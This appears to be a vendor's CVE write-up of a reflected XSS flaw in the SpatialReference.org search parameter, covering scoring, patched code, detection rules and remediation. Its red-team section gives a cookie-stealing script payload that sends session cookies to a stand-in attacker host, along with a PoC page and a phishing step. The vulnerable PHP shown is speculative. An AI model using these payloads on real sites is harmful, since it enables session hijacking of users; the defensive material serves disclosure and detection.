CVE-2025-50690
Executive Summary
CVE-2025-50690 is a reflected Cross-Site Scripting (XSS) vulnerability in the OSGeo SpatialReference.org web application, affecting all versions prior to the commit dated 2025-05-17. The flaw resides in improper sanitization of the search query parameter, allowing an unauthenticated attacker to inject arbitrary JavaScript into the response. This can lead to session hijacking, phishing, data theft, or redirection to malicious sites. The vulnerability is publicly known, with a proof-of-concept available, but no active exploitation in the wild has been reported (EPSS 0.0%). The vendor has provided a patch via a Git commit, but no official release version has been tagged.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to an NPM, PyPI, Go, or Ruby package. It is a web application hosted on the OSGeo infrastructure. No supply chain implications are present.
CVSS Breakdown & Threat Level
- CVSS Score: 6.1 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required (victim must click a crafted link)
- Scope: Changed (impact may extend beyond the vulnerable component)
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: None
Threat Level: Medium. The vulnerability requires user interaction and has limited impact, but the ease of exploitation and public PoC increase the risk.
Deep Dive & Mechanics
The vulnerability is a classic reflected XSS in the search functionality of SpatialReference.org. The application takes the search parameter from the URL query string and reflects it directly into the HTML response without proper encoding or sanitization. An attacker can craft a URL such as:
https://spatialreference.org/?search=<script>alert('XSS')</script>
When a victim visits this URL, the browser executes the injected script. The lack of Content-Type validation and absence of CSP headers further simplifies exploitation. The vulnerable code likely uses a template like:
echo "<p>Search results for: " . $_GET['search'] . "</p>";
The fix involves proper output encoding (e.g., htmlspecialchars() in PHP) or input validation.
Vulnerable vs. Patched Code
Vulnerable Code (PHP example):
<?php
$search = $_GET['search'];
echo "<div>Search results for: $search</div>";
?>
Patched Code (PHP example):
<?php
$search = htmlspecialchars($_GET['search'], ENT_QUOTES, 'UTF-8');
echo "<div>Search results for: $search</div>";
?>
The patch ensures that all HTML special characters are encoded, preventing script injection.
Exploitation & Lab Setup
Red Team (Attacker)
Prerequisites:
- A publicly accessible instance of SpatialReference.org (or a local lab setup).
- A victim browser.
Exploit Steps:
- Craft a malicious URL:
https://spatialreference.org/?search=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> - Encode the payload to avoid URL issues:
https://spatialreference.org/?search=%3Cscript%3Edocument.location%3D%27https%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E - Send the link to the victim via phishing email, social media, or other channels.
- When the victim clicks the link, the script executes, sending their session cookie to the attacker's server.
Proof-of-Concept (PoC) Code:
<!-- Save as poc.html and host on attacker server -->
<html>
<body>
<script>
var img = new Image();
img.src = "https://spatialreference.org/?search=<script>document.location='https://attacker.com/steal?cookie='+document.cookie</script>";
</script>
</body>
</html>
Blue Team (Defender)
Detection Steps:
- Monitor web server logs for unusual
searchparameter values containing<script>,onerror,javascript:, or base64-encoded payloads. - Deploy a Web Application Firewall (WAF) with rules to block reflected XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
- Conduct regular code reviews and use static analysis tools to detect XSS vulnerabilities.
Lab Setup for Testing:
- Clone the vulnerable repository:
git clone https://github.com/OSGeo/spatialreference.org.git - Checkout a vulnerable commit:
git checkout <commit_before_2120adfa> - Set up a local PHP server:
php -S 0.0.0.0:8080 - Test the exploit in a controlled environment.
Indicators of Compromise (IOCs)
- URL Patterns:
?search=<script>?search=%3Cscript%3E?search=javascript:?search=onerror=
- Network Traffic:
- Outbound connections to unknown domains from the victim's browser.
- HTTP requests with
Referer: https://spatialreference.org/?search=...
- Log Entries:
- Web server logs showing
GET /?search=<script>...with non-standard characters.
- Web server logs showing
- File Hashes:
- No specific file hashes; the vulnerability is in the codebase.
Detection Engineering
YARA Rule
rule CVE_2025_50690_XSS_Reflected {
meta:
description = "Detects reflected XSS attempts targeting SpatialReference.org search parameter"
author = "Valters IT"
date = "2025-05-20"
reference = "CVE-2025-50690"
strings:
$xss_pattern1 = /[?&]search=.*<script/i
$xss_pattern2 = /[?&]search=.*%3Cscript/i
$xss_pattern3 = /[?&]search=.*onerror/i
$xss_pattern4 = /[?&]search=.*javascript:/i
condition:
any of them
}
Sigma Rule
title: Reflected XSS Attempt on SpatialReference.org
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with malicious search parameter indicating reflected XSS
author: Valters IT
date: 2025-05-20
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-50690
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'GET'
cs-uri-query|contains:
- 'search=<script'
- 'search=%3Cscript'
- 'search=onerror'
- 'search=javascript:'
condition: selection
falsepositives:
- Legitimate use of search terms containing these strings (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-50690 Reflected XSS Attempt"; flow:to_server,established; content:"GET"; http_method; content:"search="; http_uri; pcre:"/(<script|%3Cscript|onerror|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Patch the application: Update to the latest commit (2120adfa17ddd535bd0f539e6c4988fa3a2cb491) or later.
- Apply virtual patching: Use a WAF to block requests containing
<script>,onerror, orjavascript:in thesearchparameter. - Implement CSP: Add the following HTTP header to restrict script execution:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
Long-Term Fixes:
- Sanitize all user inputs using context-aware encoding (e.g.,
htmlspecialchars()in PHP,escape()in JavaScript). - Use a templating engine that auto-escapes output (e.g., Twig, Blade).
- Conduct regular security audits and penetration testing.
- Monitor for similar vulnerabilities in other parameters.
Verification:
- After patching, test the application with the PoC URL to ensure the script is not executed.
- Review web server logs for any prior exploitation attempts.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.